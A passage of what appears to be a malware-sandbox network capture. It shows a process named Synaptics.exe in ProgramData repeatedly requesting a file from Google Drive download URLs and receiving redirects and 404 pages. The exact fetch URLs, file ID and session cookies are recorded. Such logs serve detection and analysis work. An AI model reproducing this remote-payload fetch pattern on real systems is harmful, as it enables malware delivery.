ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:51 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:51 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 35 37 2d 50 73 74 51 33 79 66 50 6e 4a 36 49 4b 41 66 45 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="v57-PstQ3yfPnJ6IKAfEPg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:51 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49956	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:51 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-BImxHhoL184sTGoxwOEBwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49959	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:51 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:52 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC46gvwpuLWds7h9u7lZ6o86Z4IMGuFfONnNlzF2URs8PiH-leQ5UmpaM2JXAX5tXeJGwTUOh0I Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:52 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-BdrCW2XPztuyzis3Ef23rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:52 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:52 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 76 6d 34 54 63 4d 43 50 74 76 49 78 62 36 77 4d 4a 55 58 48 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="7vm4TcMCPtvIxb6wMJUXHw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:52 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49960	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:51 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-cxwuMixRfqXoCDLGyCPcgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49961	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:52 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7J-nxq6HqfLMYQwZ_QoJWWVk4MszAoPGD8_BrDFzzOuK4UTJB3md9PQtqgnzvKHwsw_2ha0vs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:52 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-N3xFILOYhZaGphVIq2ge3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:52 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:52 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 67 67 63 5f 72 70 4b 45 65 70 67 58 63 65 4f 33 49 55 62 69 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="fggc_rpKEepgXceO3IUbig">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:52 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49970	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49968	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:52 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49971	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:53 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NCajbRUh8_mifz2vaWNyZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49978	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:53 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-GR1f49Z7zqmusldxUXi2jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49986	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:54 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hwYQ1kib8iJnRYhf8rSVuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49985	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:54 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:54 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC68IMqGZPP_J7AFqIJnOfTnvCm4yWsBvlpkpN-yJPBGL8xfigLlcwt9NDbh_xiHc7aI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:54 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8NyWU9oTUVYrSyKfg1ZMLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
